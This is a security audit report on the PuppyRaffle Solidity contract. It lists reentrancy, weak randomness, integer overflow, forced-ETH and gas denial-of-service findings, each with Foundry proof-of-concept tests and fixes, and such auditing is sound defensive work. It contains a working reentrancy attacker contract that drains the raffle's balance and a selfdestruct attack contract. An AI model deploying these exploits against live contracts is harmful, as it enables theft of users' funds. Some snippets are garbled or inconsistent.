



Protocol Audit Report

Version 1.0

Hexific.com

August 31, 2025

Protocol Audit Report

Hexific.com

August 31, 2025

Prepared by: Hexific Lead Security Researcher: - Febri Nirwana

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance
 - * [H-2] Zero address handling in `PuppyRaffle::refund()` can block all players entry the raffle (Denial of Service)
 - * [H-3] Weak randomness in `PuppyRaffle::selectWinner()` allows anyone to influence the winner selection
 - * [H-4] Integer overflow when updating `totalFees` in `PuppyRaffle::selectWinner()`

- * [H-5] Denial of Service (DoS) by forced ETH via `selfdestruct` make contract balance inconsistent with `totalFees`
- Medium
 - * [M-1] Looping through players array to check the duplicates in `PuppyRaffle::enterRaffle()` is a potential denial of service attack, incrementing gas cost for future entrants.
 - * [M-2] Prize Pool ETH Locked if Winner is a non-payable contract
- Low
 - * [L-1] Ambiguity in `PuppyRaffle::getActivePlayerIndex()` return value causes Misinterpretation of Player Existence
- Information
 - * [I-1] Floating pragmas
 - * [I-2] Magic Numbers
 - * [I-3] Test Coverage
 - * [I-4] Zero address validation
 - * [I-5] Potentially erroneous active player index
- Gas
 - * [G-1] `_isActivePlayer` is never used and should be removed
 - * [G-2] Unchanged variables should be constant or immutable

Protocol Summary

The PuppyRaffle protocol is a decentralized raffle game where users can enter by paying an entrance fee in ETH, and a winner is later selected to receive the collected funds. The contract manages players through an array structure, supports refunds for participants, and enforces duplicate checks to prevent multiple entries from the same address.

Disclaimer

The Hexific team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

- Owner: Responsible for deploying and managing the contract, including configuring key parameters and overseeing the raffle execution.
- Outsiders: Any user who wishes to participate in the raffle by paying the entrance fee and potentially receiving the prize if selected.

Executive Summary

The Hexific team conducted a security audit of the PuppyRaffle smart contract to evaluate its design, implementation, and resistance to common attack vectors. Our review identified several issues ranging from low to high severity, including potential logic flaws, misinterpretations, and vulnerabilities

affecting player registration and refund handling. Although the contract functions well, some weaknesses—such as not following the CEI (Check, Effect, Interact) pattern—can cause unexpected behavior, leading to the loss of all funds.

Issues found

Severity	Number if issues found
High	5
Medium	2
Low	1
Info	5
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle : : refund` allows entrant to drain contract balance

Description:

The `PuppyRaffle : : refund()` allows a player to claim their entrance fee back.

However, the function transfers ETH to `msg.sender` via `sendValue` **before** updating the player's state in the `players` array (`players[playerIndex] = address(0)`).

This breaks the **checks-effects-interactions** pattern, opening the door for a **reentrancy attack** where a malicious contract repeatedly calls `PuppyRaffle : : refund()` and drains funds.

Impact:

- Malicious players can **re-enter the function multiple times** before their state is reset, extracting more ETH than they are entitled to.
- This results in a **direct loss of funds** from the raffle contract.

- Trust in the raffle is completely undermined if funds can be stolen.

Proof of Concept:

Below is a simplified malicious attacker contract exploiting the vulnerability:

PoC

```
1 function testReentrancy() public {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle);
11     address attacker = makeAddr("attacker");
12     vm.deal(attacker, entranceFee);
13
14     uint256 startingAttackContractBalance = address(attackerContract).
15         balance;
16     uint256 startingContractBalance = address(puppyRaffle).balance;
17
18     console.log("Starting attacker contract balance:",
19         startingAttackContractBalance);
20     console.log("Starting contract balance:", startingContractBalance);
21
22     // attack
23     vm.prank(attacker);
24     attackerContract.attack{value: entranceFee}();
25
26     uint256 endingAttackContractBalance = address(attackerContract).
27         balance;
28     uint256 endingContractBalance = address(puppyRaffle).balance;
29
30     console.log("Ending attacker contract balance:",
31         endingAttackContractBalance);
32     console.log("Ending contract balance:", endingContractBalance);
33 }
34 ...
35 contract ReentrancyAttacker {
36     PuppyRaffle puppyRaffle;
37     uint256 entranceFee;
38     uint256 attackerIndex;
39
40     constructor(PuppyRaffle _puppyRaffle) {
41         puppyRaffle = _puppyRaffle;
42         entranceFee = puppyRaffle.entranceFee();
43     }
44 }
```

```
40     function attack() external payable {
41         address[] memory players = new address[] (1);
42         players[0] = address(this);
43         puppyRaffle.enterRaffle{value: entranceFee}(players);
44
45         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
46         ;
47         puppyRaffle.refund(attackerIndex);
48     }
49     receive() external payable {
50         if (address(puppyRaffle).balance >= entranceFee) {
51             puppyRaffle.refund(attackerIndex);
52         }
53     }
54 }
```

Test output:

```
1 Starting attacker contract balance: 0
2 Starting contract balance: 4000000000000000000000
3 Ending attacker contract balance: 5000000000000000000000
4 Ending contract balance: 0
```

Recommended Mitigation:

- Follow checks-effects-interactions: update state before transferring ETH.
- Use [ReentrancyGuard](#) from OpenZeppelin to prevent recursive calls.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
4         can refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player already
6         refunded, or is not active");
7 +
8 + // CEI: Update state before external call
9 + players[playerIndex] = address(0);
10 + emit RaffleRefunded(playerAddress);
11 +
12 (bool success,) = msg.sender.call{value: entranceFee}("");
13 require(success, "PuppyRaffle: Failed to refund player");
14 - players[playerIndex] = address(0);
15 - emit RaffleRefunded(playerAddress);
16 }
```

Alternative Solution with ReentrancyGuard:

```
1 import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
2
```

```
3 contract PuppyRaffle is ReentrancyGuard {
4     // ... existing code ...
5
6     function refund(uint256 playerIndex) public nonReentrant {
7         address playerAddress = players[playerIndex];
8         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
9         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
10
11         (bool success,) = msg.sender.call{value: entranceFee}("");
12         require(success, "PuppyRaffle: Failed to refund player");
13
14         players[playerIndex] = address(0);
15         emit RaffleRefunded(playerAddress);
16     }
17 }
```

[H-2] Zero address handling in `PuppyRaffle::refund()` can block all players entry the raffle (Denial of Service)

Description:

The `PuppyRaffle::refund()` function removes active players from the `players` array by setting the corresponding slot to the zero address. However, the duplicate check in `enterRaffle`, this leads to a Denial of Service (DoS) condition.

Specifically, when at least two players call `PuppyRaffle::refund()`, there will be two `0x0` entries in the `players` array. Since the duplicate check requires all addresses to be unique, the `PuppyRaffle::enterRaffle()` function will always revert due to duplicate zero addresses. Especially if these two players are the first two players to enter the raffl, this effectively prevents anyone from joining the raffle again, permanently breaking the system.

Impact:

- Raffle entries become impossible once two or more refunds occur.
- All further participation is blocked.
- Funds may be locked since new players cannot join, breaking the contract's core functionality.

Proof of Concept (PoC):

PoC

```
1 function testCantEnterWhenTwoPlayersRefund() public {
2     address[] memory players = new address[](2);
3     players[0] = playerOne;
```



```
4     players[1] = playerTwo;
5     puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
6
7     // Warp time to end the raffle
8     vm.warp(block.timestamp + duration + 1);
9     vm.roll(block.number + 1);
10
11    // Trigger refund for both players
12    vm.prank(playerOne);
13    puppyRaffle.refund(0);
14    vm.prank(playerTwo);
15    puppyRaffle.refund(1);
16
17    // Try to enter the raffle again
18    vm.expectRevert();
19    address[] memory newPlayers = new address[](1);
20    newPlayers[0] = playerThree;
21    puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
22 }
```

Recommended Mitigation:

Instead of zeroing out slots, use a mapping to track active players or implement a proper removal mechanism without introducing duplicates.

```
1 - address[] public players;
2 + mapping(address => bool) public activePlayers;
3
4 function enterRaffle(address[] memory players) external payable {
5     for (uint256 i = 0; i < players.length; i++) {
6         // ... existing code ...
7 -         players.push(newPlayers[i]);
8 +         require(players[i] != address(0), "Invalid address");
9 +         require(!activePlayers[players[i]], "Player already entered");
10 +         activePlayers[players[i]] = true;
11     }
12 }
13
14 function refund(uint256 index) external {
15 +     address player = players[index];
16 +     require(player != address(0), "Invalid player");
17 +     activePlayers[player] = false;
18 }
```

[H-3] Weak randomness in PuppyRaffle::selectWinner() allows anyone to influence the winner selection**Description:**

The `PuppyRaffle::selectWinner()` function uses weak randomness that can be predicted and manipulated by attackers. The contract generates a random winner index using on-chain parameters that are either predictable or controllable:

```
1 uint256 winnerIndex =
2     uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
3                                         block.difficulty))) % players.length;
```

Since `msg.sender`, `block.timestamp`, and `block.difficulty` can be influenced or predicted, the randomness is not cryptographically secure, allowing malicious actors to manipulate the winner selection process.

Impact:

- **Miner/Validator Manipulation:** Miners can adjust `block.timestamp` within acceptable limits or influence block difficulty to bias the winner outcome in their favor.
- **Participant Exploitation:** Anyone calling `PuppyRaffle::selectWinner()` can predict the outcome off-chain and only execute the transaction when they are likely to win.
- **Loss of Fairness:** The raffle becomes fundamentally unfair as the selection process can be gamed, undermining trust and allowing malicious users to consistently increase their winning chances.

Attack steps: 1. Attacker simulates the randomness calculation off-chain 2. Only calls `PuppyRaffle::selectWinner()` when the prediction favors them 3. Gains unfair advantage over honest participants

Recommended Mitigation:

Use a secure randomness solution such as Chainlink VRF (Verifiable Random Function):

example:

```
1 + import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
2 .
3 .
4 .
5 function selectWinner() external {
6     // ... existing code ...
7 - uint256 winnerIndex =
8 -     uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
9                                         block.difficulty))) % players.length;
9 + uint256 winnerIndex = requestRandomWinner();
10    // ... existing code ...
11 }
12 +
13 + // Use Chainlink VRF for secure randomness
14 + function requestRandomWinner() external {
```

```
15 +   require(block.timestamp >= raffleStartTime + raffleDuration, "
    PuppyRaffle: Raffle not over");
16 +   require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
    );
17 +   requestRandomness(keyHash, fee);
18 + }
19 +
20 + function fulfillRandomness(bytes32 requestId, uint256 randomness)
    internal override {
21 +     uint256 winnerIndex = randomness % players.length;
22 +     // Continue with winner selection logic...
23 + }
```

[H-4] Integer overflow when updating totalFees in PuppyRaffle::selectWinner()

Description:

In `PuppyRaffle::selectWinner()`, the `totalFees` variable is updated using:

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

If the accumulated fees exceed the maximum representable value of `uint64` which is `18.446744073709551615 ether`, the value will wrap around, causing an **integer overflow**. This results in corrupted accounting of protocol fees.

Impact:

- The raffle contract's `totalFees` can become inconsistent and incorrect.
- Overflow may lead to **loss of funds tracking**, since fee accumulation would reset or roll over.
- Depending on withdrawal logic (not shown), this can cause either underpayment or overpayment of fees, breaking expected protocol behavior.

Proof of Concept:

Proof Of Code

```
1 function testOverflow() public payable {
2     address[] memory players = new address[](100);
3     uint256 largePlayers = 100; // force overflow
4     for (uint256 i; i < largePlayers; i++) {
5         players[i] = address(uint160(i + 1));
6     }
7     puppyRaffle.enterRaffle{value: entranceFee * largePlayers}(players)
8     ;
9 }
```

```
9 // We finish a raffle of players to collect some fees
10 vm.warp(block.timestamp + duration + 1);
11 vm.roll(block.number + 1);
12
13 // trigger selectWinner
14 puppyRaffle.selectWinner();
15
16 // manual calculation:
17 // players = 100
18 // entranceFee = 1e18
19 // contract balance expected = 100 * 1e18
20 // expected fee = 100e18 * 20 / 100 = 20e18
21
22 uint256 totalFees = puppyRaffle.totalFees();
23 console.log("Large players count:", largePlayers);
24 console.log("Total fees:", totalFees);
25 }
```

Test output:

```
1 Large players count: 100
2 Total fees: 1553255926290448384
```

This demonstrates how accumulating enough fees can push `totalFees` over the `uint64` limit and cause incorrect rollover behavior.

Recommended Mitigation:

1. Upgrade Solidity compiler to $\geq 0.8.0$, which has built-in overflow checks.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

2. Use `uint256` consistently for fee-related variables instead of downcasting to `uint64`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Keep as `uint256` in `PuppyRaffle::selectWinner()`

```
1 - totalFees = totalFees + uint64(fee);
2 + totalFees = totalFees + fee;
```

[H-5] Denial of Service (DoS) by forced ETH via `selfdestruct` make contract balance inconsistent with `totalFees`

Description:

The function relies on `require(address(this).balance == uint256(totalFees))` to ensure that no players are active before allowing withdrawal. However, this invariant can be broken due to the behavior of `selfdestruct`. Any external contract can forcibly send ETH to this contract via `selfdestruct`, increasing the balance without updating `totalFees`. As a result, the equality check fails permanently, preventing withdrawals.

Impact:

If an attacker sends ETH forcibly via `selfdestruct`, the `withdrawFees()` function will always revert, locking all fees inside the contract. This results in a permanent denial of service (DoS) for fee withdrawals.

Proof of Concept:

1. Deploy a malicious contract with the following function:

```
1 function attack(address target) external payable {
2     selfdestruct(payable(target));
3 }
```

2. Call `attack()` with some ETH, forcing funds into the `PuppyRaffle` contract.
3. Now the contract's balance `address(this).balance` is higher than `totalFees`.
4. Any call to `PuppyRaffle::withdrawFees()` will revert due to the failed require condition.

Recommended Mitigation:

Use a more reliable mechanism to check active players, such as `players.length` instead of assuming `balance == totalFees`.

```
1 function withdrawFees() external {
2 +   require(players.length == 0, "PuppyRaffle: There are currently
   players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6     require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

References

- Solidity docs - `selfdestruct`

Medium

[M-1] Looping through players array to check the duplicates in

PuppyRaffle::enterRaffle() is a potential denial of service attack, incrementing gas cost for future entrants.

Description:

In **PuppyRaffle::enterRaffle()**, every new call pushes addresses to the global **players** array, and then a nested loop runs to check for duplicates.

This approach scales **quadratically ($O(n^2)$)** with the number of participants. As the array grows, each new entry requires iterating through all existing participants, making gas costs increase significantly for future entrants. Eventually, the function may revert because the transaction runs out of gas, effectively **blocking new players from entering the raffle**.

Impact:

- The raffle can be **griefed** by an attacker (or even unintentionally) if enough players join, since new participants will not be able to enter once gas costs exceed the block gas limit.
- This creates a **denial of service (DoS)**, where the raffle cannot progress beyond a certain number of players.
- Potential funds loss if the raffle is designed to rely on continuous entrants.

Proof of Concept:

Below is a Foundry test case that demonstrates the issue. As more players join, the gas usage skyrockets:

- first player: ~61585 gas - last player: ~1155581 gas

This more than 18x more expensive for the last player.

PoC

```
1 function testDenialOfService() public {
2     // first people join
3     address ;
4     firstPlayers[0] = playerOne;
5
6     uint256 gasBefore = gasleft();
7     puppyRaffle.enterRaffle{value: entranceFee}(firstPlayers);
8     uint256 gasAfter = gasleft();
9     console.log("Gas used (first):", gasBefore - gasAfter);
10
11     // bulk join 50
12     uint256 bulkCount = 50;
```

```
13     address[] memory bulkPlayers = new address[] (bulkCount);
14     for (uint256 i; i < bulkCount; ++i) {
15         bulkPlayers[i] = address(uint160(i + 2));
16     }
17     puppyRaffle.enterRaffle{value: entranceFee * bulkCount}(bulkPlayers
18         );
19     // last people join
20     address ;
21     lastPlayers[0] = address(uint160(53));
22
23     uint256 gasBeforeLast = gasleft();
24     puppyRaffle.enterRaffle{value: entranceFee}(lastPlayers);
25     uint256 gasAfterLast = gasleft();
26
27     console.log("Gas used (last):", gasBeforeLast - gasAfterLast);
28 }
```

Test Output:

```
1 Gas used (first): 61585
2 Gas used (last): 1155581
```

This demonstrates how the gas usage explodes when the `players.length` grows, validating the $O(n^2)$ DoS vector. At scale, this becomes impossible to execute.

Recommended Mitigation:

- Avoid quadratic duplicate-checking logic.
- Use a `mapping(address => bool) hasEntered` to track participants efficiently:

```
1 + mapping(address => bool) public hasEntered;
2 .
3 .
4 .
5 function enterRaffle(address[] memory newPlayers) external payable {
6 +     require(newPlayers.length > 0, "No players provided");
7     require(msg.value == entranceFee * newPlayers.length, "Incorrect
8         value");
9     for (uint256 i = 0; i < newPlayers.length; i++) {
10 -         players.push(newPlayers[i]);
11 +         address player = newPlayers[i];
12 +         require(!hasEntered[player], "Duplicate player");
13 +         hasEntered[player] = true;
14 +         players.push(player);
15     }
16 -     // Check for duplicates
17 -     for (uint256 i = 0; i < players.length - 1; i++) {
18 -         for (uint256 j = i + 1; j < players.length; j++) {
```

```
19 -         require(players[i] != players[j], "PuppyRaffle: Duplicate
20 -             player");
21 -     }
22     emit RaffleEnter(newPlayers);
23 }
```

This reduces complexity to **O(n)** per batch entry instead of **O(n²)**, preventing DoS by gas exhaustion.

[M-2] Prize Pool ETH Locked if Winner is a non-payable contract

Description:

The `PuppyRaffle::selectWinner()` function sends 80% of the prize pool to the selected winner. If the chosen winner is a contract that cannot accept ETH transfers, the call fails and the transaction reverts. Since state changes like resetting `players` and updating `raffleStartTime` occur before the transfer attempt, the ETH prize pool for that round remains permanently/temporarily locked, depending on the player's ability to receive funds.

Impact:

- Permanent/temporary loss of the 80% prize pool for the affected round.
- Players are unfairly deprived of rewards.
- Core raffle functionality is broken, as the contract state continues without distributing funds, at case of all players being non-payable.

Proof of Concept:

If `winner` is a contract without a `receive()` or `fallback()` function, this call fails, reverting the payout logic and leaving the funds stuck.

```
1 function testPoolPrizeLockedIfWinnerIsNonPayableContract() public {
2     address[] memory players = new address[](4);
3     players[0] = address(new NonPayableContract());
4     players[1] = address(new NonPayableContract());
5     players[2] = address(new NonPayableContract());
6     players[3] = address(new NonPayableContract());
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     uint256 initialBalance = address(puppyRaffle).balance;
10    console.log("Contract balance before try selecting winner:",
11        initialBalance);
12
13    // Test the scenario where the winner is a contract that cannot
14    // receive ETH
15    vm.warp(block.timestamp + duration + 1);
16    vm.roll(block.number + 1);
```



```
15
16     // trigger selectWinner
17     vm.expectRevert();
18     puppyRaffle.selectWinner();
19
20     // Check the state of the contract
21     uint256 finalBalance = address(puppyRaffle).balance;
22     console.log("Contract balance after try selecting winner:",
        finalBalance);
23 }
24 .
25 .
26 .
27 contract NonPayableContract {}
```

Recommended Mitigation:

Implement a withdrawal pattern: store prize amounts in a mapping and let winners withdraw manually.

```
1 + mapping(address => uint256) public pendingPrizes;
2   .
3   .
4   .
5   function selectWinner() external {
6       // your previous code
7       - (bool success,) = winner.call{value: prizePool}("");
8       - require(success, "PuppyRaffle: Failed to send prize pool to
        winner");
9       + pendingPrizes[winner] += prizePool;
10
11 + function withdrawPrize() external nonReentrant {
12 +     uint256 amount = pendingPrizes[msg.sender];
13 +     require(amount > 0, "No prize to withdraw");
14 +     pendingPrizes[msg.sender] = 0;
15 +
16 +     payable(msg.sender).sendValue(amount);
17 + }
```

Low

[L-1] Ambiguity in `PuppyRaffle::getActivePlayerIndex()` return value causes Misinterpretation of Player Existence

Description:

The function is designed to return the index of a player in the `players` array, or 0 if the player is not active. However, since 0 is also a valid index in the array, this introduces an **ambiguity**: the caller

cannot distinguish between “player found at index 0” and “player not found”.

Impact:

- External functions relying on this index may assume a non-existent player is active at index 0.
- Can lead to **logic misinterpretation**, incorrect access checks, or unwanted inclusion/exclusion of players.
- Depending on usage, could enable unexpected participation or block intended player removal.

Proof of Concept:

Both calls return 0, making it impossible to tell if `playerOne` is actually at index 0 or if `playerThree` doesn't exist:

PoC

```
1 function testAmbiguityIndex0() public {
2     address[] memory players = new address[](2);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
6
7     // Test the ambiguous return value
8     uint256 idx1 = puppyRaffle.getActivePlayerIndex(playerOne);
9     uint256 idx2 = puppyRaffle.getActivePlayerIndex(playerThree);
10
11     console.log("Index of playerOne:", idx1);
12     console.log("Index of playerThree (not in raffle):", idx2);
13 }
```

Output:

```
1 Index of playerOne: 0
2 Index of playerThree (not in raffle): 0
```

Recommended Mitigation:

The most gas efficient approach is returning a **sentinel value** (e.g., `type(uint256).max`) when the player is not found. This avoids extra storage, tuple packing, or revert costs, and keeps the function signature simple:

```
1 - return 0;
2 + return type(uint256).max;
```

Information

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results. <https://swcregistry.io/docs/SWC-103/>

Recommended Mitigation:

Lock up pragma versions.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
1 + uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 + uint256 public constant FEE_PERCENTAGE = 20;
3 + uint256 public constant TOTAL_PERCENTAGE = 100;
4 .
5 .
6 .
7 function selectWinner() external {
8 - uint256 prizePool = (totalAmountCollected * 80) / 100;
9 - uint256 fee = (totalAmountCollected * 20) / 100;
10 + uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
    / TOTAL_PERCENTAGE;
11 + uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

1	File		% Lines	% Statements
2	% Branches	% Funcs	-----	-----
	-----	-----		

3	<code>script/DeployPuppyRaffle.sol</code>	0.00% (0/3)	0.00% (0/4)
	100.00% (0/0) 0.00% (0/1)		
4	<code>src/PuppyRaffle.sol</code>	82.46% (47/57)	83.75% (67/80)
	66.67% (20/30) 77.78% (7/9)		
5	<code>test/auditTests/ProofOfCodes.t.sol</code>	100.00% (7/7)	100.00% (8/8)
	50.00% (1/2) 100.00% (2/2)		
6	Total	80.60% (54/67)	81.52% (75/92)
	65.62% (21/32) 75.00% (9/12)		

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the **Branches** column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```

1 PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
  PuppyRaffle.sol#57) lacks a zero-check on :
2     - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
3 PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
  sol#165) lacks a zero-check on :
4     - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] Potentially erroneous active player index

Description: The `PuppyRaffle::getActivePlayerIndex()` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

Gas

[G-1] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```

[G-2] Unchanged variables should be constant or immutable

Constant Instances:

```
1 PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
2 PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
  constant
3 PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
1 PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```